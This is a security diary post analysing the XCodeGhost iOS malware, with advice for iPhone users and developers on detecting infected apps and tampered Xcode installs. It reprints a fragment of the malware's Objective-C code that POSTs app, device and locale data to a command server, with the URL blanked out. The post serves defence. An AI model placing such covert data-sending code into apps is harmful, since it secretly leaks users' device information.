Detecting XCodeGhost Activity

Published: 2015-09-21
Last Updated: 2015-09-21 08:14:01 UTC
by Xavier Mertens (Version: 1)
2 comment(s)

End of last week, Palo Alto Networks published information about the "XCodeGhost" malware. Johannes already talked about it in today's podcast episode but I searched for more details about this story. Apple is known to be very strict with its application validation process. Every time a developer submits a new (or an updated) app, it must pass multiple security checks. Why so many applications infected by XCodeGhost successfully passed them? Could we imagine that Apple has some kind of trust with reputed developers or popular applications? Until now, ~50 applications have been reported vulnerable and mainly used in China. But some are popular worldwide like WeChat.

The XCodeGhost has be published by its author on github and a quick analyze shows that the following information is sent to a unique URL via a HTTP POST request:

NSURL *url = [NSURL URLWithString:@""];
NSMutableURLRequest *request =  [NSMutableURLRequest requestWithURL:url cachePolicy:NSURLRequestReloadIgnoringCacheData timeoutInterval:30];[request setHTTPMethod:@"POST"];
[request setValue:[NSString stringWithFormat:@"%lu",(unsigned long)[concatenatedData length]] forHTTPHeaderField:@"Content-Length"];
[request setHTTPBody: concatenatedData];

The following information is sent to the server:

  • Application name
  • Application version
  • OS version
  • Language
  • Country
  • Developer info
  • Application installation type
  • Device name
  • Device type

The FQDN does not resolve anymore but it resolved to the following IP addresses (from the VT Passive DNS):

Date IP AS DShield Score (Target/Count)
2015-07-17 AMAZON-AES -, Inc.,US 0/0
2015-05-14 AMAZON-AES -, Inc.,US 0/0
2015-05-13 AMAZON-AES -, Inc.,US 0/0
2015-04-29 AMAZON-02 -, Inc.,US 0/0
2015-04-15 AS-26496-GO-DADDY-COM-LLC -, LLC,US 0/0

How to detect infected devices?

If you're an iPhone user:

  • Check for HTTP traffic to in your firewalls or proxies logs.
  • Check for traffic to the IP addresses listed above.
  • Remove the apps listed as malicious.
  • Change passwords on websites used by the malicious applications.

If you're a developer:

  • Check if the file Library/Frameworks/CoreServices.framework/CoreService exists in the Xcode SDK/Applications/
  • Always download resources from official locations and double-check the provided hashes (MD5/SHA1).

Xavier Mertens
ISC Handler - Freelance Security Consultant

2 comment(s)


The Palo Alto network information on this lists 3 domains.
Here is ZDNet's list of top 25 infected apps.

Diary Archives